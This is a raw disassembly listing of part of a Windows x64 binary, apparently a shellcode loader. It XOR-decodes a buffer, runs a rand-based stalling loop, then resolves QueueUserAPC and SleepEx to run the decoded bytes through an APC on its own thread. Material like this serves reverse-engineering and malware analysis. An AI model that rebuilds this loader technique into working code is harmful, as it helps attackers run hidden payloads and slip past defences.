mov eax, dword [rax]
cmp edx, eax
jg 0x140002970
add dword [rbp + 0x6fc], 1
jmp 0x1400029f4
mov eax, dword [rbp + 0x6fc]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x530]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x52c], eax
mov eax, dword [rbp + 0x6fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x530]
add rax, rdx
mov edx, dword [rbp + 0x6fc]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x530]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x6fc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x530]
add rdx, rax
mov eax, dword [rbp + 0x52c]
mov dword [rdx], eax
sub dword [rbp + 0x6fc], 1
cmp dword [rbp + 0x6fc], 0x25d
jle 0x14000291f
mov rax, qword [rbp + 0x530]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x70c], 0
jmp 0x140002b78
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x70c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x6f8], 0xffffffff
mov ecx, 0x910
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x540], rax
mov ecx, 0x910
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x538], rax
add dword [rbp + 0x6f8], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x540]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x6f8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x540]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6f8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x538]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003d30
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x6f8], 0x120
jle 0x140002a8c
add dword [rbp + 0x70c], 1
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x455
jle 0x14000278b
mov rax, qword [rbp + 0x578]
mov qword [rbp + 0x568], rax
movsd xmm0, qword [0x1400065a0]
movsd qword [rbp + 0x6f0], xmm0
movsd xmm0, qword [0x1400065a8]
movsd qword [rbp + 0x560], xmm0
jmp 0x140002be8
movsd xmm0, qword [rbp + 0x560]
mov rax, qword [rbp + 0x6f0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003fe0
movq rax, xmm0
mov qword [rbp + 0x6f0], rax
movsd xmm0, qword [0x1400065b0]
comisd xmm0, xmmword [rbp + 0x6f0]
ja 0x140002bbf
mov rax, qword [rbp + 0x6e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x558]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x550]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x740]
add rsp, 0x7d8
pop rbx
pop rsi
pop rdi
pop rbp
ret